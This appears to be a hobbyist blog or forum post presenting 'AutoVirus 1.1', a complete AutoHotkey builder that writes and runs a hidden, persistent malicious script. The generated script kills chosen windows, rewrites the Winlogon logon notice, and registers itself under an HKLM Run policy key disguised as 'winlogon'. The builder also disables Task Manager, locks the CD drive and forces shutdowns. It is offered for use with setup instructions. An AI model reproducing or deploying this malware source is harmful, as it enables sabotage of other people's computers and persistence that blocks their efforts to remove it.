-- Presenting to you my very own written AutoVirus 1.1

This will automatically generate a virus script for you..

Check my further posts for more info..!!

------------------------------------------------------------------------------------------------
#persistent
#singleinstance force
#notrayicon


Gui, Add, StatusBar,, Bar's starting text (omit to start off empty).
SB_SetText("Let the havoc begin!!")



Gui +LastFound ; Make the GUI window the last found window for use by the line below.





Menu, HelpMenu, Add, &About, HelpAbout
Menu, MyMenuBar, Add, &Help, :HelpMenu



Gui, Menu, MyMenuBar






Gui, Add, Picture, x y w265 h160 , %A_ScriptDir%\crossbones640.gif
Gui, Add, text, x16 y220 w260 h30 , ***** WELCOME TO THE WORLD OF CHAOS!!***** What do you seek my master??
Gui, Add, checkbox, x86 y250 w100 h20 vactivate, Delete Script??

Gui, Add, text, x306 y320 w70 h20 , Type to close:
Gui, Add, edit, x306 y340 w250 h20 vtype1, type1
Gui, Add, text, x306 y200 w50 h20 , ahk_class:
Gui, Add, edit, x306 y220 w250 h20 vclass1, class1
Gui, Add, text, x16 y260 w50 h20 , Message:
Gui, Add, edit, x16 y280 w240 h60 vmessage, message
Gui, Add, text, x16 y340 w80 h20 , Startup Caption:
Gui, Add, edit, x16 y360 w240 h20 vcaption, Title
Gui, Add, text, x16 y380 w70 h20 , Startup Text:
Gui, Add, edit, x16 y400 w240 h90 vstartup, Text

Gui, Add, checkbox, x316 y430 w110 h20 vcdlock, Lock CD DRIVE
Gui, Add, checkbox, x316 y450 w110 h20 vunlock, Unlock CD DRIVE
Gui, Add, checkbox, x316 y470 w120 h20 vdistask, Disable Taskmanager
Gui, Add, checkbox, x316 y490 w110 h20 vdisreg, Disable Registry
Gui, Add, checkbox, x446 y470 w120 h20 venatask, Enable Taskmanager
Gui, Add, checkbox, x446 y490 w110 h20 venareg, Enable Registry
Gui, Add, checkbox, x446 y430 w130 h20 vshut, FORCE SHUTDOWN!!
Gui, Add, checkbox, x446 y450 w110 h20 vshutr, FORCE REBOOT!!

Gui, Add, Button, x16 y510 w60 h20 Default, OK
Gui, Add, button, x86 y510 w70 h20 , Cancel
Gui, Add, button, x166 y510 w100 h20 , REMOVE VIRUS!

Gui, Add, text, x246 y540 w100 h20 , By -Sankalp Singha.
Gui, Add, edit, x16 y190 w240 h20 vsource, source
Gui, Add, text, x16 y170 w110 h20 , DESTINATION::
Gui, Add, text, x306 y40 w100 h20 , SOURCE SOUND:
Gui, Add, edit, x306 y60 w250 h21 vsound, Sound
Gui, Add, text, x306 y100 w100 h20 , SOURCE PICTURE:
Gui, Add, edit, x306 y120 w250 h21 vpicture, Picture
Gui, Add, edit, x306 y250 w250 h20 vclass2, class2
Gui, Add, edit, x306 y280 w250 h20 vclass3, class3
Gui, Add, edit, x306 y370 w250 h20 vtype2, type2
Gui, Add, edit, x306 y400 w250 h20 vtype3, type3
Gui, Add, text, x306 y150 w100 h20 , INFO MESSAGE:
Gui, Add, edit, x306 y170 w250 h21 vinfo, info
Gui, Show, x174 y28 h578 w588, AutoVirus 1.1 -Sankalp Singha
return




HelpAbout:
Gui, 2:+owner1 ; Make the main window (Gui #1) the owner of the "about box" (Gui #2).
Gui +Disabled ; Disable main window.
Gui, 2:Add, Text,, This program will program an autohot key script according to the specifications given. `nTo learn how to use this program checkout www.sankalpsingha.blogspot.com`n`n Program Created By Sankalp Singha. `n For any comments, suggestions or bug report please contact me at: `n sankalpsingha@gmail.com `n `n Adios!! `n Let the havoc begin!!! `n`n (Note: You have to install AutohotKey software first to use this..)
Gui, 2:Add, Button, Default, OK
Gui, 2:Show
return

2ButtonOK: ; This section is used by the "about box" above.
2GuiClose:
2GuiEscape:
Gui, 1:-Disabled ; Re-enable the main window (must be done prior to the next step).
Gui Destroy ; Destroy the about box.
return









GuiClose:
exitapp

ButtonOK:
Gui,submit

fileappend,
(

msgbox,16,Information!!, %info%,30

#singleinstance force
#persistent
#notrayicon


settimer,ban,2000
return

ban:
WinGetActiveTitle, ed
ifinstring,ed,%type1%
{
winclose %type1%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}
ifinstring,ed,%type2%
{
winclose %type2%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}
ifinstring,ed,%type3%
{
winclose %type3%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}

ifwinactive ahk_class %class1%
{

winkill ahk_class %class1%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}

ifwinactive ahk_class %class2%
{

winkill ahk_class %class2%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}


ifwinactive ahk_class %class3%
{

winkill ahk_class %class3%
soundplay,%sound%
splashimage, %picture%, B fs18 cw800080, %message%
Sleep, 4000
SplashImage, Off

return
}


regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon,LegalNoticeText
ifnotequal,regdata, %startup%
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,LegalNoticeText, %startup%


regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon,LegalNoticeCaption
ifnotequal,regdata,%caption%
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon,LegalNoticeCaption, %caption%


regread,regdata,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon
ifnotequal,regdata,%source%
Regwrite,REG_SZ,HKEY_LOCAL_MACHINE,SOFTWARE\Microsoft\Windows\CurrentVersion\policies\Explorer\Run,winlogon,%source%
return

#q::
ExitApp




),%source%
run %source%

if %activate%
{
filesetattrib,-rsh,%source%
filedelete,%source%
}

if %cdlock%
{drive,lock,f:
msgbox,Drive Locked!!
}

if %unlock%
{
drive,unlock,f:
msgbox,Drive Unlocked!!
}

if %shut%
{ msgbox,16,SHUTTING DOWN THE SYSTEM!!
sleep,4000
shutdown,5
}

if %shutr%
{ msgbox,16,REBOOTING THE SYSTEM!!
sleep,4000
shutdown,6
}


if %distask%
{ regread,regdata1,REG_DWORD,HKEY_LOCAL_MACHINE,Software\Microsoft\Windows\CurrentVersion\Policies\System ,DisableTaskMgr
ifnotequal,regdata1,1
Regwrite,REG_DWORD,HKEY_LOCAL_MACHINE,Software\Microsoft\Windows\CurrentVersion\Policies\System ,DisableTaskMgr,1
return

}
buttonCancel:
ExitApp


#q::
ExitApp


----------------------------------------------------------------------------------------------
Note-- you will need to install AutoHotKey to run this script. Just copy it into notepad and save it as virus.ahk

ENJOY!!
as

Heya friends....

Hey friends... Sorry long time so see(i mean write.. ) its was cause i was very busy out here...